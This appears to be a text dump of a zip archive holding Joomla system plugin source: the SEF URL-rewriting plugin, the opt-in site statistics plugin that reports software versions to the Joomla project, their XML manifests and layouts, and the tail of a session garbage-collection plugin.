	 *
	 * @var    CMSApplication
	 * @since  3.8.6
	 */
	protected $app;

	/**
	 * Database driver
	 *
	 * @var    JDatabaseDriver
	 * @since  3.8.6
	 */
	protected $db;

	/**
	 * Runs after the HTTP response has been sent to the client and performs garbage collection tasks
	 *
	 * @return  void
	 *
	 * @since   3.8.6
	 */
	public function onAfterRespond()
	{
		if ($this->params->get('enable_session_gc', 1))
		{
			$probability = $this->params->get('gc_probability', 1);
			$divisor     = $this->params->get('gc_divisor', 100);

			$random = $divisor * lcg_value();

			if ($probability > 0 && $random < $probability)
			{
				$this->app->getSession()->gc();
			}
		}

		if ($this->app->get('session_handler', 'none') !== 'database' && $this->params->get('enable_session_metadata_gc', 1))
		{
			$probability = $this->params->get('gc_probability', 1);
			$divisor     = $this->params->get('gc_divisor', 100);

			$random = $divisor * lcg_value();

			if ($probability > 0 && $random < $probability)
			{
				/** @var MetadataManager $metadataManager */
				$metadataManager = Factory::getContainer()->get(MetadataManager::class);
				$metadataManager->deletePriorTo(time() - $this->app->getSession()->getExpire());
			}
		}
	}
}
PK!jo�$$sef/sef.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_sef</name>
	<author>Joomla! Project</author>
	<creationDate>December 2007</creationDate>
	<copyright>(C) 2007 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SEF_XML_DESCRIPTION</description>
	<files>
		<filename plugin="sef">sef.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/plg_system_sef.ini</language>
		<language tag="en-GB">language/en-GB/plg_system_sef.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="domain"
					type="url"
					label="PLG_SEF_DOMAIN_LABEL"
					description="PLG_SEF_DOMAIN_DESCRIPTION"
					hint="https://www.example.com"
					filter="url"
					validate="url"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!�4�psef/sef.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.sef
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

/**
 * Joomla! SEF Plugin.
 *
 * @since  1.5
 */
class PlgSystemSef extends CMSPlugin
{
	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.5
	 */
	protected $app;

	/**
	 * Add the canonical uri to the head.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	public function onAfterDispatch()
	{
		$doc = $this->app->getDocument();

		if (!$this->app->isClient('site') || $doc->getType() !== 'html')
		{
			return;
		}

		$sefDomain = $this->params->get('domain', false);

		// Don't add a canonical html tag if no alternative domain has added in SEF plugin domain field.
		if (empty($sefDomain))
		{
			return;
		}

		// Check if a canonical html tag already exists (for instance, added by a component).
		$canonical = '';

		foreach ($doc->_links as $linkUrl => $link)
		{
			if (isset($link['relation']) && $link['relation'] === 'canonical')
			{
				$canonical = $linkUrl;
				break;
			}
		}

		// If a canonical html tag already exists get the canonical and change it to use the SEF plugin domain field.
		if (!empty($canonical))
		{
			// Remove current canonical link.
			unset($doc->_links[$canonical]);

			// Set the current canonical link but use the SEF system plugin domain field.
			$canonical = $sefDomain . Uri::getInstance($canonical)->toString(array('path', 'query', 'fragment'));
		}
		// If a canonical html doesn't exists already add a canonical html tag using the SEF plugin domain field.
		else
		{
			$canonical = $sefDomain . Uri::getInstance()->toString(array('path', 'query', 'fragment'));
		}

		// Add the canonical link.
		$doc->addHeadLink(htmlspecialchars($canonical), 'canonical');
	}

	/**
	 * Convert the site URL to fit to the HTTP request.
	 *
	 * @return  void
	 */
	public function onAfterRender()
	{
		if (!$this->app->isClient('site'))
		{
			return;
		}

		// Replace src links.
		$base   = Uri::base(true) . '/';
		$buffer = $this->app->getBody();

		// For feeds we need to search for the URL with domain.
		$prefix = $this->app->getDocument()->getType() === 'feed' ? Uri::root() : '';

		// Replace index.php URI by SEF URI.
		if (strpos($buffer, 'href="' . $prefix . 'index.php?') !== false)
		{
			preg_match_all('#href="' . $prefix . 'index.php\?([^"]+)"#m', $buffer, $matches);

			foreach ($matches[1] as $urlQueryString)
			{
				$buffer = str_replace(
					'href="' . $prefix . 'index.php?' . $urlQueryString . '"',
					'href="' . trim($prefix, '/') . Route::_('index.php?' . $urlQueryString) . '"',
					$buffer
				);
			}

			$this->checkBuffer($buffer);
		}

		// Check for all unknown protocols (a protocol must contain at least one alphanumeric character followed by a ":").
		$protocols  = '[a-zA-Z0-9\-]+:';
		$attributes = array('href=', 'src=', 'poster=');

		foreach ($attributes as $attribute)
		{
			if (strpos($buffer, $attribute) !== false)
			{
				$regex  = '#\s' . $attribute . '"(?!/|' . $protocols . '|\#|\')([^"]*)"#m';
				$buffer = preg_replace($regex, ' ' . $attribute . '"' . $base . '$1"', $buffer);
				$this->checkBuffer($buffer);
			}
		}

		if (strpos($buffer, 'srcset=') !== false)
		{
			$regex = '#\s+srcset="([^"]+)"#m';

			$buffer = preg_replace_callback(
				$regex,
				function ($match) use ($base, $protocols)
				{
					preg_match_all('#(?:[^\s]+)\s*(?:[\d\.]+[wx])?(?:\,\s*)?#i', $match[1], $matches);

					foreach ($matches[0] as &$src)
					{
						$src = preg_replace('#^(?!/|' . $protocols . '|\#|\')(.+)#', $base . '$1', $src);
					}

					return ' srcset="' . implode($matches[0]) . '"';
				},
				$buffer
			);

			$this->checkBuffer($buffer);
		}

		// Replace all unknown protocols in javascript window open events.
		if (strpos($buffer, 'window.open(') !== false)
		{
			$regex  = '#onclick="window.open\(\'(?!/|' . $protocols . '|\#)([^/]+[^\']*?\')#m';
			$buffer = preg_replace($regex, 'onclick="window.open(\'' . $base . '$1', $buffer);
			$this->checkBuffer($buffer);
		}

		// Replace all unknown protocols in onmouseover and onmouseout attributes.
		$attributes = array('onmouseover=', 'onmouseout=');

		foreach ($attributes as $attribute)
		{
			if (strpos($buffer, $attribute) !== false)
			{
				$regex  = '#' . $attribute . '"this.src=([\']+)(?!/|' . $protocols . '|\#|\')([^"]+)"#m';
				$buffer = preg_replace($regex, $attribute . '"this.src=$1' . $base . '$2"', $buffer);
				$this->checkBuffer($buffer);
			}
		}

		// Replace all unknown protocols in CSS background image.
		if (strpos($buffer, 'style=') !== false)
		{
			$regex_url  = '\s*url\s*\(([\'\"]|\&\#0?3[49];)?(?!/|\&\#0?3[49];|' . $protocols . '|\#)([^\)\'\"]+)([\'\"]|\&\#0?3[49];)?\)';
			$regex  = '#style=\s*([\'\"])(.*):' . $regex_url . '#m';
			$buffer = preg_replace($regex, 'style=$1$2: url($3' . $base . '$4$5)', $buffer);
			$this->checkBuffer($buffer);
		}

		// Replace all unknown protocols in OBJECT param tag.
		if (strpos($buffer, '<param') !== false)
		{
			// OBJECT <param name="xx", value="yy"> -- fix it only inside the <param> tag.
			$regex  = '#(<param\s+)name\s*=\s*"(movie|src|url)"[^>]\s*value\s*=\s*"(?!/|' . $protocols . '|\#|\')([^"]*)"#m';
			$buffer = preg_replace($regex, '$1name="$2" value="' . $base . '$3"', $buffer);
			$this->checkBuffer($buffer);

			// OBJECT <param value="xx", name="yy"> -- fix it only inside the <param> tag.
			$regex  = '#(<param\s+[^>]*)value\s*=\s*"(?!/|' . $protocols . '|\#|\')([^"]*)"\s*name\s*=\s*"(movie|src|url)"#m';
			$buffer = preg_replace($regex, '<param value="' . $base . '$2" name="$3"', $buffer);
			$this->checkBuffer($buffer);
		}

		// Replace all unknown protocols in OBJECT tag.
		if (strpos($buffer, '<object') !== false)
		{
			$regex  = '#(<object\s+[^>]*)data\s*=\s*"(?!/|' . $protocols . '|\#|\')([^"]*)"#m';
			$buffer = preg_replace($regex, '$1data="' . $base . '$2"', $buffer);
			$this->checkBuffer($buffer);
		}

		// Use the replaced HTML body.
		$this->app->setBody($buffer);
	}

	/**
	 * Check the buffer.
	 *
	 * @param   string  $buffer  Buffer to be checked.
	 *
	 * @return  void
	 */
	private function checkBuffer($buffer)
	{
		if ($buffer === null)
		{
			switch (preg_last_error())
			{
				case PREG_BACKTRACK_LIMIT_ERROR:
					$message = 'PHP regular expression limit reached (pcre.backtrack_limit)';
					break;
				case PREG_RECURSION_LIMIT_ERROR:
					$message = 'PHP regular expression limit reached (pcre.recursion_limit)';
					break;
				case PREG_BAD_UTF8_ERROR:
					$message = 'Bad UTF8 passed to PCRE function';
					break;
				default:
					$message = 'Unknown PCRE error calling PCRE function';
			}

			throw new RuntimeException($message);
		}
	}
}
PK!EN8��stats/field/uniqueid.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PlgSystemStatsFormFieldBase', __DIR__ . '/base.php');

/**
 * Unique ID Field class for the Stats Plugin.
 *
 * @since  3.5
 */
class PlgSystemStatsFormFieldUniqueid extends PlgSystemStatsFormFieldBase
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $type = 'Uniqueid';

	/**
	 * Name of the layout being used to render the field
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $layout = 'field.uniqueid';
}
PK!G!E���stats/field/data.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PlgSystemStatsFormFieldBase', __DIR__ . '/base.php');

/**
 * Unique ID Field class for the Stats Plugin.
 *
 * @since  3.5
 */
class PlgSystemStatsFormFieldData extends PlgSystemStatsFormFieldBase
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $type = 'Data';

	/**
	 * Name of the layout being used to render the field
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $layout = 'field.data';

	/**
	 * Method to get the data to be passed to the layout for rendering.
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutData()
	{
		$data       = parent::getLayoutData();

		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('system', 'stats');

		$result = $dispatcher->trigger('onGetStatsData', array('stats.field.data'));

		$data['statsData'] = $result ? reset($result) : array();

		return $data;
	}
}
PK!�V���stats/field/base.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Base field for the Stats Plugin.
 *
 * @since  3.5
 */
abstract class PlgSystemStatsFormFieldBase extends JFormField
{
	/**
	 * Get the layouts paths
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutPaths()
	{
		$template = JFactory::getApplication()->getTemplate();

		return array(
			JPATH_ADMINISTRATOR . '/templates/' . $template . '/html/layouts/plugins/system/stats',
			dirname(__DIR__) . '/layouts',
			JPATH_SITE . '/layouts'
		);
	}
}
PK!��}�K;K;stats/stats.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Cache\Cache;
use Joomla\CMS\Factory;
use Joomla\CMS\Http\HttpFactory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\UserHelper;

// Uncomment the following line to enable debug mode for testing purposes. Note: statistics will be sent on every page load
// define('PLG_SYSTEM_STATS_DEBUG', 1);

/**
 * Statistics system plugin. This sends anonymous data back to the Joomla! Project about the
 * PHP, SQL, Joomla and OS versions
 *
 * @since  3.5
 */
class PlgSystemStats extends CMSPlugin
{
	/**
	 * Indicates sending statistics is always allowed.
	 *
	 * @var    integer
	 * @since  3.5
	 */
	const MODE_ALLOW_ALWAYS = 1;

	/**
	 * Indicates sending statistics is only allowed one time.
	 *
	 * @var    integer
	 * @since  3.5
	 */
	const MODE_ALLOW_ONCE = 2;

	/**
	 * Indicates sending statistics is never allowed.
	 *
	 * @var    integer
	 * @since  3.5
	 */
	const MODE_ALLOW_NEVER = 3;

	/**
	 * Application object
	 *
	 * @var    JApplicationCms
	 * @since  3.5
	 */
	protected $app;

	/**
	 * Database object
	 *
	 * @var    JDatabaseDriver
	 * @since  3.5
	 */
	protected $db;

	/**
	 * URL to send the statistics.
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $serverUrl = 'https://developer.joomla.org/stats/submit';

	/**
	 * Unique identifier for this site
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $uniqueId;

	/**
	 * Listener for the `onAfterInitialise` event
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	public function onAfterInitialise()
	{
		if (!$this->app->isClient('administrator') || !$this->isAllowedUser())
		{
			return;
		}

		if (!$this->isDebugEnabled() && !$this->isUpdateRequired())
		{
			return;
		}

		if (Uri::getInstance()->getVar('tmpl') === 'component')
		{
			return;
		}

		// Load plugin language files only when needed (ex: they are not needed in site client).
		$this->loadLanguage();
	}

	/**
	 * Listener for the `onAfterDispatch` event
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	public function onAfterDispatch()
	{
		if (!$this->app->isClient('administrator') || !$this->isAllowedUser())
		{
			return;
		}

		if (!$this->isDebugEnabled() && !$this->isUpdateRequired())
		{
			return;
		}

		if (Uri::getInstance()->getVar('tmpl') === 'component')
		{
			return;
		}

		if ($this->app->getDocument()->getType() !== 'html')
		{
			return;
		}

		$this->app->getDocument()->getWebAssetManager()
			->registerAndUseScript('plg_system_stats.message', 'plg_system_stats/stats-message.js', [], ['defer' => true], ['core']);
	}

	/**
	 * User selected to always send data
	 *
	 * @return  void
	 *
	 * @since   3.5
	 *
	 * @throws  Exception         If user is not allowed.
	 * @throws  RuntimeException  If there is an error saving the params or sending the data.
	 */
	public function onAjaxSendAlways()
	{
		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new Exception(Text::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

		$this->params->set('mode', static::MODE_ALLOW_ALWAYS);

		if (!$this->saveParams())
		{
			throw new RuntimeException('Unable to save plugin settings', 500);
		}

		echo json_encode(['sent' => (int) $this->sendStats()]);
	}

	/**
	 * User selected to never send data.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 *
	 * @throws  Exception         If user is not allowed.
	 * @throws  RuntimeException  If there is an error saving the params.
	 */
	public function onAjaxSendNever()
	{
		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new Exception(Text::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

		$this->params->set('mode', static::MODE_ALLOW_NEVER);

		if (!$this->saveParams())
		{
			throw new RuntimeException('Unable to save plugin settings', 500);
		}

		if (!$this->disablePlugin())
		{
			throw new RuntimeException('Unable to disable the statistics plugin', 500);
		}

		echo json_encode(['sent' => 0]);
	}

	/**
	 * User selected to send data once.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 *
	 * @throws  Exception         If user is not allowed.
	 * @throws  RuntimeException  If there is an error saving the params, disabling the plugin or sending the data.
	 */
	public function onAjaxSendOnce()
	{
		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new Exception(Text::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

		$this->params->set('mode', static::MODE_ALLOW_ONCE);

		if (!$this->saveParams())
		{
			throw new RuntimeException('Unable to save plugin settings', 500);
		}

		$this->sendStats();

		if (!$this->disablePlugin())
		{
			throw new RuntimeException('Unable to disable the statistics plugin', 500);
		}

		echo json_encode(['sent' => 1]);
	}

	/**
	 * Send the stats to the server.
	 * On first load | on demand mode it will show a message asking users to select mode.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 *
	 * @throws  Exception         If user is not allowed.
	 * @throws  RuntimeException  If there is an error saving the params, disabling the plugin or sending the data.
	 */
	public function onAjaxSendStats()
	{
		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new Exception(Text::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

		// User has not selected the mode. Show message.
		if ((int) $this->params->get('mode') !== static::MODE_ALLOW_ALWAYS)
		{
			$data = [
				'sent' => 0,
				'html' => $this->getRenderer('message')->render($this->getLayoutData()),
			];

			echo json_encode($data);

			return;
		}

		if (!$this->saveParams())
		{
			throw new RuntimeException('Unable to save plugin settings', 500);
		}

		echo json_encode(['sent' => (int) $this->sendStats()]);
	}

	/**
	 * Get the data through events
	 *
	 * @param   string  $context  Context where this will be called from
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	public function onGetStatsData($context)
	{
		return $this->getStatsData();
	}

	/**
	 * Debug a layout of this plugin
	 *
	 * @param   string  $layoutId  Layout identifier
	 * @param   array   $data      Optional data for the layout
	 *
	 * @return  string
	 *
	 * @since   3.5
	 */
	public function debug($layoutId, $data = [])
	{
		$data = array_merge($this->getLayoutData(), $data);

		return $this->getRenderer($layoutId)->debug($data);
	}

	/**
	 * Get the data for the layout
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutData()
	{
		return [
			'plugin'       => $this,
			'pluginParams' => $this->params,
			'statsData'    => $this->getStatsData(),
		];
	}

	/**
	 * Get the layout paths
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutPaths()
	{
		$template = Factory::getApplication()->getTemplate();

		return [
			JPATH_ADMINISTRATOR . '/templates/' . $template . '/html/layouts/plugins/' . $this->_type . '/' . $this->_name,
			__DIR__ . '/layouts',
		];
	}

	/**
	 * Get the plugin renderer
	 *
	 * @param   string  $layoutId  Layout identifier
	 *
	 * @return  JLayout
	 *
	 * @since   3.5
	 */
	protected function getRenderer($layoutId = 'default')
	{
		$renderer = new FileLayout($layoutId);

		$renderer->setIncludePaths($this->getLayoutPaths());

		return $renderer;
	}

	/**
	 * Get the data that will be sent to the stats server.
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	private function getStatsData()
	{
		$data = [
			'unique_id'   => $this->getUniqueId(),
			'php_version' => PHP_VERSION,
			'db_type'     => $this->db->name,
			'db_version'  => $this->db->getVersion(),
			'cms_version' => JVERSION,
			'server_os'   => php_uname('s') . ' ' . php_uname('r'),
		];

		// Check if we have a MariaDB version string and extract the proper version from it
		if (preg_match('/^(?:5\.5\.5-)?(mariadb-)?(?P<major>\d+)\.(?P<minor>\d+)\.(?P<patch>\d+)/i', $data['db_version'], $versionParts))
		{
			$data['db_version'] = $versionParts['major'] . '.' . $versionParts['minor'] . '.' . $versionParts['patch'];
		}

		return $data;
	}

	/**
	 * Get the unique id. Generates one if none is set.
	 *
	 * @return  integer
	 *
	 * @since   3.5
	 */
	private function getUniqueId()
	{
		if (null === $this->uniqueId)
		{
			$this->uniqueId = $this->params->get('unique_id', hash('sha1', UserHelper::genRandomPassword(28) . time()));
		}

		return $this->uniqueId;
	}

	/**
	 * Check if current user is allowed to send the data
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function isAllowedUser()
	{
		return Factory::getUser()->authorise('core.admin');
	}

	/**
	 * Check if the debug is enabled
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function isDebugEnabled()
	{
		return defined('PLG_SYSTEM_STATS_DEBUG');
	}

	/**
	 * Check if last_run + interval > now
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function isUpdateRequired()
	{
		$last     = (int) $this->params->get('lastrun', 0);
		$interval = (int) $this->params->get('interval', 12);
		$mode     = (int) $this->params->get('mode', 0);

		if ($mode === static::MODE_ALLOW_NEVER)
		{
			return false;
		}

		// Never updated or debug enabled
		if (!$last || $this->isDebugEnabled())
		{
			return true;
		}

		return abs(time() - $last) > $interval * 3600;
	}

	/**
	 * Check valid AJAX request
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function isAjaxRequest()
	{
		return strtolower($this->app->input->server->get('HTTP_X_REQUESTED_WITH', '')) === 'xmlhttprequest';
	}

	/**
	 * Render a layout of this plugin
	 *
	 * @param   string  $layoutId  Layout identifier
	 * @param   array   $data      Optional data for the layout
	 *
	 * @return  string
	 *
	 * @since   3.5
	 */
	public function render($layoutId, $data = [])
	{
		$data = array_merge($this->getLayoutData(), $data);

		return $this->getRenderer($layoutId)->render($data);
	}

	/**
	 * Save the plugin parameters
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function saveParams()
	{
		// Update params
		$this->params->set('lastrun', time());
		$this->params->set('unique_id', $this->getUniqueId());
		$interval = (int) $this->params->get('interval', 12);
		$this->params->set('interval', $interval ?: 12);

		$paramsJson = $this->params->toString('JSON');
		$db         = $this->db;

		$query = $db->getQuery(true)
			->update($db->quoteName('#__extensions'))
			->set($db->quoteName('params') . ' = :params')
			->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
			->where($db->quoteName('element') . ' = ' . $db->quote('stats'))
			->bind(':params', $paramsJson);

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return false;
		}

		try
		{
			// Update the plugin parameters
			$result = $db->setQuery($query)->execute();

			$this->clearCacheGroups(['com_plugins']);
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$db->unlockTables();
			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		return $result;
	}

	/**
	 * Send the stats to the stats server
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 *
	 * @throws  RuntimeException  If there is an error sending the data and debug mode enabled.
	 */
	private function sendStats()
	{
		$error = false;

		try
		{
			// Don't let the request take longer than 2 seconds to avoid page timeout issues
			$response = HttpFactory::getHttp()->post($this->serverUrl, $this->getStatsData(), [], 2);

			if (!$response)
			{
				$error = 'Could not send site statistics to remote server: No response';
			}
			elseif ($response->code !== 200)
			{
				$data = json_decode($response->body);

				$error = 'Could not send site statistics to remote server: ' . $data->message;
			}
		}
		catch (UnexpectedValueException $e)
		{
			// There was an error sending stats. Should we do anything?
			$error = 'Could not send site statistics to remote server: ' . $e->getMessage();
		}
		catch (RuntimeException $e)
		{
			// There was an error connecting to the server or in the post request
			$error = 'Could not connect to statistics server: ' . $e->getMessage();
		}
		catch (Exception $e)
		{
			// An unexpected error in processing; don't let this failure kill the site
			$error = 'Unexpected error connecting to statistics server: ' . $e->getMessage();
		}

		if ($error !== false)
		{
			// Log any errors if logging enabled.
			Log::add($error, Log::WARNING, 'jerror');

			// If Stats debug mode enabled, or Global Debug mode enabled, show error to the user.
			if ($this->isDebugEnabled() || $this->app->get('debug'))
			{
				throw new RuntimeException($error, 500);
			}

			return false;
		}

		return true;
	}

	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups  The cache groups to clean
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	private function clearCacheGroups(array $clearGroups)
	{
		foreach ($clearGroups as $group)
		{
			try
			{
				$options = [
					'defaultgroup' => $group,
					'cachebase'    => $this->app->get('cache_path', JPATH_CACHE),
				];

				$cache = Cache::getInstance('callback', $options);
				$cache->clean();
			}
			catch (Exception $e)
			{
				// Ignore it
			}
		}
	}

	/**
	 * Disable this plugin, if user selects once or never, to stop Joomla loading the plugin on every page load and
	 * therefore regaining a tiny bit of performance
	 *
	 * @since 4.0.0
	 *
	 * @return  boolean
	 */
	private function disablePlugin()
	{
		$db = $this->db;

		$query = $db->getQuery(true)
			->update($db->quoteName('#__extensions'))
			->set($db->quoteName('enabled') . ' = 0')
			->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
			->where($db->quoteName('element') . ' = ' . $db->quote('stats'));

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return false;
		}

		try
		{
			// Update the plugin parameters
			$result = $db->setQuery($query)->execute();

			$this->clearCacheGroups(['com_plugins']);
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$db->unlockTables();
			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		return $result;
	}
}
PK!�|�++stats/stats.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_stats</name>
	<author>Joomla! Project</author>
	<creationDate>November 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.5.0</version>
	<description>PLG_SYSTEM_STATS_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Plugin\System\Stats</namespace>
	<files>
		<folder>field</folder>
		<folder>layouts</folder>
		<filename plugin="stats">stats.php</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_system_stats.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_system_stats.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic" addfieldprefix="Joomla\Plugin\System\Stats\Field">
				<field
					name="data"
					type="data"
					label=""
				/>

				<field
					name="unique_id"
					type="uniqueid"
					label="PLG_SYSTEM_STATS_UNIQUE_ID_LABEL"
					size="10"
				/>

				<field
					name="interval"
					type="number"
					label="PLG_SYSTEM_STATS_INTERVAL_LABEL"
					filter="integer"
					default="12"
				/>

				<field
					name="mode"
					type="list"
					label="PLG_SYSTEM_STATS_MODE_LABEL"
					default="1"
					validate="options"
					>
					<option value="1">PLG_SYSTEM_STATS_MODE_OPTION_ALWAYS_SEND</option>
					<option value="2">PLG_SYSTEM_STATS_MODE_OPTION_ON_DEMAND</option>
					<option value="3">PLG_SYSTEM_STATS_MODE_OPTION_NEVER_SEND</option>
				</field>

				<field
					name="lastrun"
					type="hidden"
					default="0"
					size="15"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!8����stats/layouts/stats.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   array  $statsData  Array containing the data that will be sent to the stats server
 */

$versionFields = array('php_version', 'db_version', 'cms_version');
?>
<table class="table mb-3 d-none" id="js-pstats-data-details">
	<caption class="visually-hidden">
		<?php echo Text::_('PLG_SYSTEM_STATS_STATISTICS'); ?>
	</caption>
	<thead>
		<tr>
			<th scope="col" class="w-15">
				<?php echo Text::_('PLG_SYSTEM_STATS_SETTING'); ?>
			</th>
			<th scope="col">
				<?php echo Text::_('PLG_SYSTEM_STATS_VALUE'); ?>
			</th>
		</tr>
	</thead>
	<tbody>
	<?php foreach ($statsData as $key => $value) : ?>
		<tr>
			<th scope="row"><?php echo Text::_('PLG_SYSTEM_STATS_LABEL_' . strtoupper($key)); ?></th>
			<td><?php echo in_array($key, $versionFields) ? (preg_match('/\d+(?:\.\d+)+/', $value, $matches) ? $matches[0] : $value) : $value; ?></td>
		</tr>
	<?php endforeach; ?>
	</tbody>
</table>
PK!q��stats/layouts/message.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\Registry\Registry;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var  PlgSystemStats  $plugin        Plugin rendering this layout
 * @var  Registry        $pluginParams  Plugin parameters
 * @var  array           $statsData     Array containing the data that will be sent to the stats server
 */
?>

<joomla-alert type="info" dismiss class="js-pstats-alert hidden" role="alertdialog" close-text="<?php echo Text::_('JCLOSE'); ?>" aria-labelledby="alert-stats-heading">
	<div class="alert-heading"><?php echo Text::_('PLG_SYSTEM_STATS_LABEL_MESSAGE_TITLE'); ?></div>
	<div>
		<div class="alert-message">
			<p>
				<?php echo Text::_('PLG_SYSTEM_STATS_MSG_JOOMLA_WANTS_TO_SEND_DATA'); ?>
				<a href="#" class="js-pstats-btn-details alert-link"><?php echo Text::_('PLG_SYSTEM_STATS_MSG_WHAT_DATA_WILL_BE_SENT'); ?></a>
			</p>
			<?php
				echo $plugin->render('stats', compact('statsData'));
			?>
			<p><?php echo Text::_('PLG_SYSTEM_STATS_MSG_ALLOW_SENDING_DATA'); ?></p>
			<p class="actions">
